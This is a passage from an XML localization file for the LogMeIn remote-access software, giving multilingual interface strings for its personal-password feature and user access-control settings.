<fr>Veuillez entrer un nouveau Mot de passe Personnel.</fr>
<it>Immettere una nuova password personale.</it>
<ru>Введите новый личный пароль.</ru>
<ja>新しいパーソナル パスワードを入力してください。</ja>
<zh>请输入新的个人密码。</zh>
<ko>새 개인 암호를 입력하십시오.</ko>
<en-gb>Please enter a new Personal Password.</en-gb>
<hu>Kérem, írjon be egy új Személyes jelszót.</hu>
<pt-br>Digite uma nova senha pessoal.</pt-br>
<nl>Voer een nieuw persoonlijk wachtwoord in.</nl>
</msg>
<msg name="CONFIRMED">
<en>You have set a Personal Password.</en>
<de>Sie haben ein persönliches Kennwort gesetzt.</de>
<es>Ha establecido una contraseña personal.</es>
<fr>Vous avez déterminer un Mot de passe Personnel</fr>
<it>È stata impostata una password personale.</it>
<ru>Личный пароль установлен.</ru>
<ja>パーソナル パスワードが設定されました。</ja>
<zh>您已设置个人密码。</zh>
<ko>개인 암호를 설정했습니다.</ko>
<en-gb>You have set a Personal Password.</en-gb>
<hu>Beállított egy Személyes jelszót.</hu>
<pt-br>Você definiu uma senha pessoal.</pt-br>
<nl>U hebt een persoonlijk wachtwoord ingesteld.</nl>
</msg>
<msg name="PWDFIELD">
<en>Enter your Personal Password</en>
<de>Persönliches Kennwort eingeben</de>
<es>Introduzca una contraseña personal</es>
<fr>Entrez votre Mot de passe Personnel </fr>
<it>Immetti password personale</it>
<ru>Введите свой личный пароль</ru>
<ja>パーソナル パスワードを入力</ja>
<zh>输入您的个人密码</zh>
<ko>개인 암호 입력</ko>
<en-gb>Enter your Personal Password</en-gb>
<hu>Írja be Személyes jelszavát</hu>
<pt-br>Digite sua senha pessoal</pt-br>
<nl>Voer uw persoonlijk wachtwoord in</nl>
</msg>
<msg name="CONFFIELD">
<en>Confirm your Personal Password</en>
<de>Persönliches Kennwort bestätigen</de>
<es>Confirme su contraseña personal</es>
<fr>Confirmez votre Mot de passe Personnel </fr>
<it>Conferma password personale</it>
<ru>Подтвердите свой личный пароль</ru>
<ja>パーソナル パスワードを確認</ja>
<zh>确认您的个人密码</zh>
<ko>개인 암호 확인</ko>
<en-gb>Confirm your Personal Password</en-gb>
<hu>Erősítse meg Személyes jelszavát</hu>
<pt-br>Confirme sua senha pessoal</pt-br>
<nl>Bevestig uw persoonlijk wachtwoord</nl>
</msg>
<msg name="ALERT.NOTENTERED">
<en>Please enter your new Personal Password.</en>
<de>Geben sie bitte ihr neues persönliches Kennwort ein.</de>
<es>Introduzca su contraseña personal nueva.</es>
<fr>Veuillez entrer votre nouveau Mot de passe Personnel.</fr>
<it>Immettere la nuova password personale.</it>
<ru>Введите свой новый личный пароль.</ru>
<ja>新しいパーソナル パスワードを入力してください。</ja>
<zh>请输入您的新个人密码。</zh>
<ko>새 개인 암호를 입력하십시오.</ko>
<en-gb>Please enter your new Personal Password.</en-gb>
<hu>Kérem, írja be új Személyes jelszavát.</hu>
<pt-br>Digite sua nova senha pessoal.</pt-br>
<nl>Voer uw nieuw persoonlijk wachtwoord in.</nl>
</msg>
<msg name="EXPLAIN">
<en>Enter a Personal Password to create an extra layer of security for this computer. When you next connect to this computer from this account you will be required to enter a subset of characters from the Personal Password before being granted access. The personal password is securely stored on this computer and cannot be retrieved by LogMeIn support staff.</en>
<es>Escriba una contraseña personal para crear una capa adicional de seguridad para el equipo. La contraseña personal está guardada de un modo seguro en el ordenador y el personal de asistencia de LogMeIn no puede acceder a ella.</es>
<de>Geben Sie ein persönliches Passwort ein, um eine zusätzliche Sicherheitsebene für diesen Computer zu schaffen. Das persönliche Passwort ist sicher auf diesem Computer gespeichert und kann nicht von LogMeIn-Supportmitarbeitern abgerufen werden.</de>
<fr>Entrez un mot de passe personnel pour créer un niveau de sécurité supplémentaire sur cet ordinateur. Le mot de passe personnel est enregistré de manière sécurisée sur l'ordinateur et ne peut pas être récupéré par le personnel d'assistance de LogMeIn.</fr>
<it>Immettere una password personale per creare una protezione aggiuntiva per questo computer. La password personale è memorizzata in modo protetto nel computer e non può essere recuperata dal personale di supporto di LogMeIn.</it>
<ru>Введите персональный пароль, чтобы создать дополнительный уровень защиты для данного компьютера. Персональный пароль безопасно хранится на данном компьютере и недоступен персоналу службы поддержки LogMeIn.</ru>
<ja>個人用パスワードを入力すると、このコンピュータのセキュリティが強化されます。 入力が正しければアクセスが許可されます。\n個人用パスワードはこのコンピュータに安全に保管されており、LogMeIn サポート スタッフがパスワードを知ることはできません。</ja>
<zh>输入“个人密码”,为此计算机创建一个额外的安全层。 个人密码安全存储在此计算机上,并且无法被 LogMeIn 支持人员检索。</zh>
<ko>개인 암호를 입력하면 이 컴퓨터의 추가 보안 계층이 생성됩니다. 개인 암호는 안전하게 컴퓨터에 저장되고 LogMeIn 지원 담당자가 개인 암호를 검색할 수 없습니다.</ko>
<hu>A Személyes jelszóval egy újabb biztonsági réteg hozható létre a helyi számítógépen. A személyes jelszót a program a helyi számítógépen, biztonságosan tárolja, és a LogMeIn támogató személyzete nem férhet hozzá.</hu>
<pt-br>Insira uma Senha pessoal para criar uma camada extra de segurança para este computador. A senha pessoal é armazenada de maneira segura neste computador e não pode ser recuperada pela equipe de suporte do LogMeIn.</pt-br>
<nl>Geef een persoonlijk wachtwoord op om een extra beveiligingslaag voor deze computer te creëren. Het persoonlijk wachtwoord wordt op een beveiligde manier opgeslagen op deze computer en kan niet worden achterhaald door de supportmedewerkers van LogMeIn.</nl>
<en-gb>Enter a Personal Password to create an extra layer of security for this computer. When you next connnect to this computer from this account you will be required to enter a subset of characters from the Personal Password before being granted access. The personal password is securely stored on this computer and cannot be retrieved by LogMeIn support staff.</en-gb>
</msg>
<msg os="macosx" name="EXPLAIN">
<en>The Personal Password is an extra security feature. After successfully logging in
with your Mac username and password, you will be prompted to enter specific characters
from your Personal Password. To create or change your Personal Password, enter it below and 
click Apply. Note that you will only be prompted for a few characters from your Personal Password,
and never the whole string. Also, Personal Password authentication is only performed when
you are accessing this computer via the service, and never when you're physically in front of
your computer. Your Personal Password is securely stored on the computer and cannot be retrieved by 
%PRODUCTNAME support staff.</en>
<de>Das persönliche Kennwort ist ein zusätzliches Sicherheitsfeature. Nach der erfolgreichen Anmeldung mit ihrem Mac Benutzernamen und Kennwort werden sie aufgefordert bestimmte Zeichen ihres persönlichen Kennworts einzugeben. Um ihr persönliches Kennwort zu erstellen oder zu ändern, geben sie es unten ein und klicken auf Übernehmen. Beachten sie, dass sie immer nur bestimmte Zeichen ihres persönlichen Kennworts eingeben müssen und niemals die komplette Zeichenfolge. Die Authentifizierung über das persönliche Kennwort erfolgt nur, wenn sie auf ihren Computer über diesen Dienst zugreifen, niemals jedoch, wenn sie tatsächlich vor dem Computer sitzen. Ihr persönliches Kennwort wird sicher auf dem Computer gespeichert und kann vom %PRODUCTNAME Support-Personal nicht gelesen werden.</de>
<es>La contraseña personal es una característica de seguridad adicional. Tras iniciar sesión con
su contraseña y nombre de usuario de Mac, se le pedirá que introduzca caracteres específicos
de su contraseña personal. Para crear o cambiar su contraseña personal, introdúzcala abajo y 
haga clic en Aplicar. Sólo se le pedirán algunos caracteres de su contraseña personal,
no la contraseña entera. Además, sólo se realiza la autenticación de contraseña personal cuando
accede a este ordenador mediante el servicio y nunca cuando está físicamente delante de su
ordenador. Su contraseña personal está almacenada de un modo seguro en el ordenador. Es un dato que 
no puede recuperar el equipo de soporte de %PRODUCTNAME.</es>
<fr>Le Mot de passe Personnel est une fonction supplémentaire de sécurité. Après vous être loggué avec succès
avec votre nom et mot de passe, vous serez invité à entrer des caractères spécifiques
de votre Mot de passe Personnel. Pour créer ou modifier votre Mot de passe Personnel, entrez le ci-dessous et
cliquez sur Appliquer. Veuillez noter que seuls quelques caractères de votre Mot de passe Personnel vous seront demandés,
et jamais le tout. Aussi, l'authentification de votre Mot de passe Personnel sera seulement éxécuté lorsque
vous accèdez cet ordinateur par ce service, et jamais lorsque vous êtes physiquement devant  .
Votre Mot de passe Personnel est enregistré en toute sécurité dans l'ordinateur et ne peut pas être retrouvé par
l'équipe du support %PRODUCTNAME .</fr>
<it>La password personale è una funzione di protezione aggiuntiva. Dopo aver eseguito l'accesso con il nome utente e la password di Mac, verrà richiesto di immettere alcuni caratteri specifici della password personale. Per creare o modificare la password personale, immetterla di seguito e fare clic su Applica. Verranno richiesti solo alcuni caratteri della password personale e mai l'intera stringa. Inoltre, l'autenticazione mediante password personale viene eseguita solo quando si accede al computer tramite il servizio e mai quando si accede fisicamente al computer. La password personale è memorizzata in modo sicuro nel computer e non può essere recuperata dal personale di supporto di %PRODUCTNAME.</it>
<ru>Личный пароль представляет собой дополнительную функцию защиты. После успешного входа с использованием имени пользователя и пароля Mac предлагается ввести некоторые символы из личного пароля. Чтобы создать или изменить личный пароль, введите его внизу и щелкните "Применить". Обратите внимание, что предлагается ввести только несколько символов из личного пароля, но никогда не целиком. Кроме того, проверка подлинности с использованием личного пароля выполняется только при доступе к этому компьютеры из данной службы и никогда не используется, если пользователь физически находится перед компьютером. Личный пароль храниться на компьютере в безопасном месте и не может быть получен персоналом, обслуживающим продукт %PRODUCTNAME.</ru>
<ja>パーソナル パスワードは、追加のセキュリティ機能です。Windows のユーザ名とパスワードで正常にログインすると、パーソナル パスワードの特定の文字を入力するように求められます。 パーソナル パスワードを作成または変更するには、以下に入力して [適用] をクリックします。 入力する必要があるのは、パーソナル パスワードの一部の文字のみで、文字列全体ではありません。 また、パーソナル パスワード認証は、このサービスを通じてコンピュータにアクセスしているときにのみ実行され、コンピュータを直接操作する場合には実行されません。パーソナル パスワードはコンピュータに安全に保存され、%PRODUCTNAME サポート スタッフでも読み取ることはできません。</ja>
<zh>个人密码是一种额外的安全功能。使用 Mac 用户名和密码成功登录后,系统将提示您输入个人密码的特定字符。要创建或修改个人密码,请在下面输入个人密码并单击“应用”。请注意,系统仅提示您输入个人密码中的几个字符,而从不会提示您输入整个字符串。此外,仅在您通过该服务访问此计算机时才执行个人密码验证,而从不会要求您在实际面对面操作此计算机时验证个人密码。您的个人密码安全地存储在计算机中,%PRODUCTNAME 支持人员不能检索到它。</zh>
<ko>개인 암호는 추가 보안 기능입니다. Mac 사용자 이름 및 암호로 로그인한 후 개인 암호의 특정 문자를 입력하라는 메시지가 표시됩니다. 개인 암호를 만들거나 변경하려면 아래에 개인 암호를 입력한 후 "적용"을 클릭하십시오. 개인 암호를 모두 입력하지 않고 몇 자만 입력하라는 메시지가 표시됩니다. 또한 개인 암호 인증은 실제로 컴퓨터에서 작업할 때가 아니라 인터넷 서비스를 통해 컴퓨터에 액세스할 경우에만 수행됩니다. 개인 암호는 안전하게 컴퓨터에 저장되고 %PRODUCTNAME 지원 담당자가 개인 암호를 검색할 수 없습니다.</ko>
<en-gb>The Personal Password is an extra security feature. After successfully logging in with your Mac username and password, you will be prompted to enter specific characters from your Personal Password. To create or change your Personal Password, enter it below and click Apply. Please note that you will only be prompted for a few characters from your Personal Password and never the whole string. Also, Personal Password authentication is only performed when you are accessing this computer via the service and never when you're physically in front of your computer. Your Personal Password is securely stored on the computer and cannot be retrieved by %PRODUCTNAME support staff.</en-gb>
<hu>A Személyes jelszó egy külön biztonsági funkció. Miután sikeresen bejelentkezett
Mac felhasználónevével és jelszavával, felszólítást kap, hogy személyes 
jelszavának bizonyos karaktereit írja be. A személyes jelszó létrehozásához vagy megváltoztatásához írja be alább, majd 
kattintson az Alkalmaz gombra. Ne feledje, hogy csak néhány karaktert kell majd beírnia a Személyes jelszóból, 
soha nem a teljes karakterláncot. Ezen kívül, a Személyes jelszóval történő hitelesítésre csak akkor kerül sor, 
amikor ezt a számítógépet egy szolgáltatáson keresztül éri el, soha nem akkor, amikor fizikailag is a 
számítógépe előtt tartózkodik. Az Ön személyes jelszava biztonságosan tárolódik a számítógépen, és a(z) 
%PRODUCTNAME támogató személyzete nem képes azt visszakeresni.</hu>
<pt-br>A senha pessoal é outro recurso de segurança. Depois de conectar-se com êxito 
com seu nome de usuário e senha do Mac, você será solicitado a digitar caracteres específicos 
da sua senha pessoal. Para criar ou alterar sua senha pessoal, digite-a abaixo e 
clique em Aplicar. Observe que você deverá informar apenas alguns caracteres da sua senha pessoal,
e nunca a seqüência inteira de caracteres. Além disso, a autenticação da senha pessoal só é realizada quando
você acessa o computador por meio do serviço, nunca quando está fisicamente
trabalhando nele. Sua senha pessoal é armazenada seguramente no computador e não pode ser recuperada pela
equipe de suporte do %PRODUCTNAME.</pt-br>
<nl>Het persoonlijke wachtwoord is een extra beveiligingsfunctie. Nadat u zich bij Mac hebt aangemeld met uw gebruikersnaam en wachtwoord, wordt u gevraagd specifieke tekens van uw persoonlijk wachtwoord in te voeren. Als u uw persoonlijk wachtwoord wilt maken of wijzigen, voert u het wachtwoord hieronder in en klikt u op de knop "Toepassen". Denk eraan: u wordt alleen gevraagd een aantal tekens van uw persoonlijk wachtwoord in te voeren en dus niet de volledige tekenreeks. Bovendien wordt de verificatie van uw persoonlijk wachtwoord alleen uitgevoerd wanneer u via deze service externe toegang tot deze computer wilt krijgen en dus niet wanneer u zelf voor uw computer zit. Uw persoonlijk wachtwoord wordt op een beveiligde manier opgeslagen op de computer en kan niet worden opgespoord door de medewerkers die support bieden voor %PRODUCTNAME.</nl>
</msg>
</cat>
<!-- CONFIG.PERMISSIONS -->
<cat name="PERMISSIONS">
<msg name="TITLE">
<en>Access Control</en>
<de>Zugriffssteuerung</de>
<es>Control de acceso</es>
<fr>Contrôle d'accès</fr>
<it>Controllo degli accessi</it>
<ru>Управление доступом</ru>
<ja>アクセス コントロール</ja>
<zh>访问控制</zh>
<ko>액세스 제어</ko>
<en-gb>Access Control</en-gb>
<hu>Hozzáférés-vezérlés</hu>
<pt-br>Controle de acesso</pt-br>
<nl>Toegangsbeheer</nl>
</msg>
<msg name="SHORTDESC">
<en>Define or edit user-specific permissions</en>
<es>Definir o editar permisos específicos del usuario</es>
<fr>Définissez ou éditez les autorisations spécifiques à l'utilisateur</fr>
<de>Benutzerspezifische Berechtigungen definieren oder bearbeiten</de>
<it>Definisci o modifica le autorizzazioni specifiche dell'utente</it>
<ru>Определить или изменить разрешения, характерные для пользователя</ru>
<ja>ユーザ固有の権限の定義または編集</ja>
<zh>定义或编辑特定用户权限</zh>
<ko>사용자별 권한 정의 또는 편집</ko>
<en-gb>Define or edit user-specific permissions</en-gb>
<hu>Felhasználó-specifikus engedélyek meghatározása vagy szerkesztése</hu>
<pt-br>Defina ou edite permissões específicas do usuário</pt-br>
<nl>Specifieke toestemmingen voor gebruikers definiëren of bewerken</nl>
</msg>
<msg name="PERMISSIONNAME">
<en>Permission</en>
<de>Berechtigung</de>
<es>Permiso</es>
<fr>Permission</fr>
<it>Autorizzazione</it>
<ru>Разрешение</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permission</en-gb>
<hu>Engedély</hu>
<pt-br>Permissão</pt-br>
<nl>Toestemming</nl>
</msg>
<msg name="PERMISSIONEDIT">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permissions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Toestemmingen</nl>
</msg>
<msg name="USERS">
<en>Users</en>
<de>Benutzer</de>
<es>Usuarios</es>
<fr>Utilisateurs</fr>
<it>Utenti</it>
<ru>Пользователи</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>Users</en-gb>
<hu>Felhasználók</hu>
<pt-br>Usuários</pt-br>
<nl>Gebruikers</nl>
</msg>
<msg name="SETTINGS">
<en>Settings</en>
<de>Einstellungen</de>
<es>Configuración</es>
<fr>Paramètres</fr>
<it>Impostazioni</it>
<ru>Параметры</ru>
<ja>設定</ja>
<zh>设置</zh>
<ko>설정</ko>
<en-gb>Settings</en-gb>
<hu>Beállítások</hu>
<pt-br>Configurações</pt-br>
<nl>Instellingen</nl>
</msg>
<msg name="USERNAME">
<en>User name</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom Utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="ADMINACC">
<en>Allow full control to administrators</en>
<de>Vollzugriff für Administratoren zulassen</de>
<es>Permitir control total a administradores</es>
<fr>Autoriser le contrôle complet à tous les administrateurs</fr>
<it>Consenti il controllo completo agli amministratori</it>
<ru>Разрешить администраторам полное управление</ru>
<ja>管理者にフル コントロールを許可</ja>
<zh>允许管理员具有完全控制权限</zh>
<ko>관리자에게 모든 권한 허용</ko>
<en-gb>Allow full control to administrators</en-gb>
<hu>Teljes hozzáférés engedélyezése a rendszergazdáknak</hu>
<pt-br>Permitir controle total aos administradores</pt-br>
<nl>Volledige controle toestaan voor systeembeheerders</nl>
</msg>
<msg name="SESSIONTIMEOUT">
<en>Session timeout</en>
<de>Zeitüberschreitung der Sitzung</de>
<es>Sesión caducada</es>
<fr>Délai de session  dépassée</fr>
<it>Timeout della sessione</it>
<ru>Таймаут сеанса</ru>
<ja>セッション タイムアウト</ja>
<zh>会话超时</zh>
<ko>세션 시간 초과</ko>
<en-gb>Session timeout</en-gb>
<hu>Munkamenet időtúllépése</hu>
<pt-br>Tempo limite da sessão</pt-br>
<nl>Sessietime-out</nl>
</msg>
<msg name="NTLM">
<en>NT Lan Manager authentication</en>
<de>NT-LAN-Manager-Authentifizierung</de>
<es>Autenticación del Gestor de Lan NT</es>
<fr>Authentification NT Lan Manager</fr>
<it>Autenticazione LAN Manager di NT</it>
<ru>Проверка подлинности диспетчера NT Lan</ru>
<ja>NT LAN マネージャ認証</ja>
<zh>NT 局域网管理器验证</zh>
<ko>NT Lan Manager 인증</ko>
<en-gb>NT Lan Manager authentication</en-gb>
<hu>NT Lan Manager hitelesítés</hu>
<pt-br>Autenticação do Gerenciador de rede do NT</pt-br>
<nl>Verificatie van NT LAN Manager</nl>
</msg>
<msg name="USER2COOKIE">
<en>Save user name in a cookie</en>
<de>Benutzernamen in einem Cookie speichern</de>
<es>Guardar nombre de usuario en una cookie</es>
<fr>Sauvegarder le nom de l'utilisateur dans un cookie</fr>
<it>Salva nome utente in un cookie</it>
<ru>Сохранить имя пользователя в файле cookie</ru>
<ja>ユーザ名を Cookie に保存</ja>
<zh>在 cookie 中保存用户名</zh>
<ko>쿠키에 사용자 이름 저장</ko>
<en-gb>Save username in a cookie</en-gb>
<hu>Felhasználói név mentése egy cookie-ba</hu>
<pt-br>Salve o nome do usuário em um cookie</pt-br>
<nl>Gebruikersnaam opslaan in cookiebestand</nl>
</msg>
<msg name="ENABLEAUTOLOGIN">
<en>Allow login credentials to be saved</en>
<es>Permitir que se guarden las credenciales de inicio de sesión</es>
<de>Zugangsdaten dürfen gespeichert werden</de>
<fr>Autoriser l'enregistrement des identifiants de connexion</fr>
<it>Consenti il salvataggio delle credenziali di accesso</it>
<ru>Разрешить сохранение учетных данных</ru>
<ja>ログイン資格情報の保存を許可します</ja>
<zh>允许保存登录凭据</zh>
<ko>로그인 자격 증명 저장 허용</ko>
<en-gb>Allow login credentials to be saved</en-gb>
<hu>Bejelentkezési adatok mentésének engedélyezése</hu>
<pt-br>Permitir que as credenciais de login sejam salvas</pt-br>
<nl>Geef toestemming om aanmeldingsgegevens op te slaan</nl>
</msg>
<msg name="DONTLISTDOMAINS">
<en>Do not list domains on logon screen</en>
<es>No presentar los dominios en la pantalla de inicio de sesión</es>
<fr>Ne pas énumérer les domaines sur l'écran d'ouverture de session.</fr>
<de>Keine Domänen im Anmeldefenster auflisten</de>
<it>Non elencare i domini nella schermata di accesso</it>
<ru>Не перечислять домены на экране входа</ru>
<ja>ログイン画面にドメインをリスト化しない</ja>
<zh>请勿在登录屏幕中列出域</zh>
<ko>로그온 화면에 도메인을 나열하지 않음</ko>
<en-gb>Do not list domains on logon screen</en-gb>
<hu>Ne listázza a tartományokat a bejelentkezési képernyőn</hu>
<pt-br>Não liste domínios em tela de logon</pt-br>
<nl>Domeinen in aanmeldingsscherm niet weergeven</nl>
</msg>
<msg brand="LMI" name="DONTLISTDOMAINS">
<en>Hide list of domains on the Remote Access login screen</en>
<es>Ocultar la lista de dominios en la pantalla de inicio de sesión de acceso remoto</es>
<de>Domänenliste im Anmeldefenster für den Fernzugriff ausblenden</de>
<fr>Masquer la liste des domaines sur l'écran de connexion de l'accès à distance</fr>
<it>Nascondi elenco di domini nella schermata di login dell'accesso remoto</it>
<ru>Скрыть список доменов с экрана входа для удаленного доступа</ru>
<ja>リモート アクセスのログイン画面でドメインのリストを非表示にする</ja>
<zh>隐藏远程访问登录屏幕上的域列表</zh>
<ko>원격 액세스 로그인 화면에서 도메인 목록 숨기기</ko>
<hu>Tartománylista elrejtése a távelérés bejelentkező képernyőjén</hu>
<pt-br>Ocultar lista de domínios na tela de login do Acesso remoto</pt-br>
<nl>Lijst met domeinen op het aanmeldingsscherm voor externe toegang verbergen</nl>
<en-gb>Hide list of domains on the Remote Access login screen</en-gb>
</msg>
<msg name="ENABLEOPTION">
<en>Display "Enable/Disable %PRODUCTNAME" option on the system tray menu</en>
<es>Mostrar la opción "Habilitar/Deshabilitar %PRODUCTNAME" en el menú de la bandeja de sistema</es>
<fr>Affiche l'option "activer/désactiver %PRODUCTNAME" dans le menu de la zone de notification</fr>
<de>Die Option zum Aktivieren und Deaktivieren von %PRODUCTNAME im Systembereich der Taskleiste einblenden</de>
<it>Visualizza l'opzione "Attiva/Disattiva %PRODUCTNAME" sul menu della barra di sistema</it>
<ru>Показывать в меню панели задач опцию "Включить/Отключить %PRODUCTNAME"</ru>
<ja>システム トレイ メニューに [%PRODUCTNAME を有効/無効にする] オプションを表示する</ja>
<zh>在任务栏菜单上显示“启用/禁用 %PRODUCTNAME”选项</zh>
<ko>시스템 트레이 메뉴에 "%PRODUCTNAME 사용/사용 안 함" 옵션 표시</ko>
<en-gb>Display "Enable/Disable %PRODUCTNAME" option on the system tray menu</en-gb>
<hu>"%PRODUCTNAME be/kikapcsolása" lehetőség megjelenítése a rendszertálca menüben</hu>
<pt-br>Exiba a opção "Habilitar/desabilitar %PRODUCTNAME" no menu da bandeja do sistema</pt-br>
<nl>De optie "%PRODUCTNAME in-/uitschakelen" weergeven in snelmenu van systeemvak</nl>
</msg>
<msg name="NOTDEF">
<en>There are no user-specific permissions defined.</en>
<de>Es sind keine benutzerspezifischen Berechtigungen definiert.</de>
<es>No se han definido permisos específicos para usuarios.</es>
<fr>Il n'y a aucun utilisateur avec des permissions définies.</fr>
<it>Nessuna autorizzazione specifica dell'utente definita.</it>
<ru>Разрешения, характерные для пользователя, не определены.</ru>
<ja>定義済みのユーザ固有の権限はありません。</ja>
<zh>尚未定义特定用户权限。</zh>
<ko>사용자별 권한을 정의하지 않았습니다.</ko>
<en-gb>No user-specific permissions have been defined.</en-gb>
<hu>Nincsenek felhasználó-specifikus engedélyek meghatározva.</hu>
<pt-br>Não há permissões específicas do usuário definidas.</pt-br>
<nl>Er zijn geen specifieke toestemmingen voor gebruikers gedefinieerd.</nl>
</msg>
<msg name="INVALIDUSER">
<en>The user or group you specified was not found.</en>
<de>Der angegebene Benutzer oder die Gruppe konnte nicht gefunden werden.</de>
<es>No se ha encontrado el usuario o el grupo que usted ha especificado.</es>
<fr>L'utilisateur ou le groupe indiqué n'a pas été trouvé.</fr>
<it>Impossibile trovare l'utente o il gruppo specificato.</it>
<ru>Указанный пользователь или группа не найдены.</ru>
<ja>指定したユーザまたはグループが見つかりません。</ja>
<zh>未找到您指定的用户或组。</zh>
<ko>지정한 사용자 또는 그룹을 찾을 수 없습니다.</ko>
<en-gb>The user or group you specified was not found.</en-gb>
<hu>A megadott felhasználó vagy csoport nem található.</hu>
<pt-br>O usuário ou grupo especificado não foi encontrado.</pt-br>
<nl>De door u opgegeven gebruiker of groep kon niet worden gevonden.</nl>
</msg>
<msg name="NONUSER">
<en>The user or group you specified was found, but it is either a computer
name or a domain. Please try the form DOMAIN\\USER.</en>
<de>Der Name des von Ihnen angegebenen Benutzers oder der Gruppe konnte
zwar gefunden werden, wird jedoch als Computername oder Domänenbenennung
geführt. Bitte geben Sie den Namen in der Form DOMÄNE\\Benutzer ein.</de>
<es>Se ha encontrado el usuario o el grupo que usted ha especificado, pero es el nombre
de un ordenador o un dominio. Intente con la forma DOMAIN\\USER.</es>
<fr>L'utilisateur ou le groupe indiqué n'a pas été trouvé, mais s'il s'agit d'un nom d'ordinateur ou de domaine,
veuillez essayer la syntaxe suivante DOMAINE\\UTILISAEUR.</fr>
<it>L'utente o il gruppo specificato è un nome computer o un dominio. Utilizzare il formato DOMINIO\\UTENTE.</it>
<ru>Указанный пользователь или группа найдены, но это имя компьютера или домена. Попробуйте воспользоваться формой ДОМЕН\\ПОЛЬЗОВАТЕЛЬ.</ru>
<ja>指定したユーザまたはグループは検出されましたが、これはコンピュータ名またはドメイン名です。DOMAIN\\USER の形式で再試行してください。</ja>
<zh>您指定的用户或组已找到,但却是计算机名称或域。请试试 DOMAIN\\USER 形式。</zh>
<ko>지정한 사용자 또는 그룹이 있지만 컴퓨터 이름 또는 도메인입니다. DOMAIN\\USER 형식을 사용해 보십시오.</ko>
<en-gb>The user or group you specified was found, but it is either a computer name or a domain. Please try the form DOMAIN\\USER.</en-gb>
<hu>A megadott felhasználó vagy csoport megtalálható, de az vagy egy számítógépnév
vagy egy tartomány. Kérem, próbálkozzék a TARTOMÁNY\\FELHASZNÁLÓ formával.</hu>
<pt-br>O usuário ou grupo especificado foi encontrado, mas é um nome de computador
ou um domínio. Tente a forma DOMAIN\\USER.</pt-br>
<nl>De door u opgegeven gebruiker of groep werd gevonden, maar dit is een computernaam of een domein. Probeer het opnieuw en gebruik ditmaal de notatie DOMEIN\\GEBRUIKER.</nl>
</msg>
<msg name="EDITFAIL">
<en>The ability to modify LogMeIn configurations would be denied if the desired settings were applied. This update has not been applied.</en>
<es>La capacidad de modificar configuraciones de LogMeIn se denegará si se aplicaran las configuraciones deseadas. No se ha aplicado esta actualización.</es>
<de>Wenn die gewünschten Einstellungen übernommen würden, könnten LogMeIn-Konfigurationen nicht mehr modifiziert werden. Diese Aktualisierung wurde nicht durchgeführt.</de>
<fr>La modification des configurations LogMeIn serait refusée si les réglages souhaités étaient appliqués. Cette mise à jour n'a pas été appliquée.</fr>
<it>Applicando le impostazioni desiderate, non sarà più possibile modificare le configurazioni di LogMeIn. L'aggiornamento non è stato applicato.</it>
<ru>В изменении настроек LogMeIn будет отказано, если были применены необходимые настройки. Данное обновление не было применено.</ru>
<ja>要求された設定が適用されると、LogMeIn の設定を変更する機能が拒否されます。 この更新は適用されませんでした。</ja>
<zh>如果应用所需的设置,修改 LogMeIn 配置的功能可能被拒绝。 此更新尚未应用。</zh>
<ko>원하는 설정이 적용되었을 경우 LogMeIn 구성을 수정할 수 있는 기능이 거부됩니다. 이 업데이트가 적용되지 않았습니다.</ko>
<en-gb>The ability to modify LogMeIn configurations would be denied if the desired settings were applied. This update has not been applied.</en-gb>
<hu>A kívánt beállítások alkalmazása esetén a LogMeIn-konfigurációk módosításának lehetősége elutasításra kerül. Ez a frissítés még nem került alkalmazásra.</hu>
<pt-br>A capacidade de modificar as configurações do LogMeIn seria negada se as configurações desejadas fossem aplicadas. Esta atualização não foi aplicada.</pt-br>
<nl>De mogelijkheid om de configuraties van LogMeIn te wijzigen is niet toegestaan wanneer de gewenste instellingen zijn toegepast. Deze update is niet toegepast.</nl>
</msg>
<msg name="PWERR">
<en>Password confirmation failed or no password was supplied for a new user.</en>
<de>Die Kennwortbestätigung war fehlerhaft oder es wurde kein Kennwort für
den neuen Benutzer angegeben.</de>
<es>Error al confirmar la contraseña o no se ha especificado ninguna contraseña para un nuevo usuario.</es>
<fr>La confirmation de mot de passe a échouée ou aucun mot de passe n'a été défini pour un nouvel utilisateur.</fr>
<it>Conferma della password non riuscita o password mancante per un nuovo utente.</it>
<ru>Ошибка подтверждения пароля или для нового пользователя пароль не был предоставлен.</ru>
<ja>パスワードの確認に失敗したか、新しいユーザにパスワードが提供されませんでした。</ja>
<zh>密码确认失败或没有提供新用户的密码。</zh>
<ko>암호 확인이 실패했거나 새 사용자의 암호를 제공하지 않았습니다.</ko>
<en-gb>Password confirmation failed or no password was supplied for a new user.</en-gb>
<hu>A jelszavas hitelesítés sikertelen volt, vagy az új felhasználó nem kapott jelszót.</hu>
<pt-br>Falha na confirmação da senha ou não foram fornecidas senhas para o novo usuário.</pt-br>
<nl>De bevestiging van het wachtwoord is mislukt of voor de nieuwe gebruiker is geen wachtwoord opgegeven.</nl>
</msg>
<msg name="BADPW">
<en>The password must be at least 6 characters long.</en>
<de>Das Kennwort muss eine Mindestlänge von 6 Zeichen aufweisen.</de>
<es>Su contraseña debe tener, al menos, 6 caracteres.</es>
<fr>Le mot de passe doit être composé d'au moins 6 caractères.</fr>
<it>La password deve contenere almeno 6 caratteri.</it>
<ru>Пароль должен иметь длину не менее 6 символов.</ru>
<ja>パスワードは最低 6 文字以上にする必要があります。</ja>
<zh>密码必须至少包含 6 个字符。</zh>
<ko>암호는 6자 이상이어야 합니다.</ko>
<en-gb>The password must be at least 6 characters long.</en-gb>
<hu>A jelszó legalább 6 karakterből kell álljon.</hu>
<pt-br>Sua senha deve ter pelo menos 6 caracteres.</pt-br>
<nl>Het wachtwoord moet minstens 6 tekens lang zijn.</nl>
</msg>
<msg name="BADUSERNAME">
<en>You must supply a valid user name.</en>
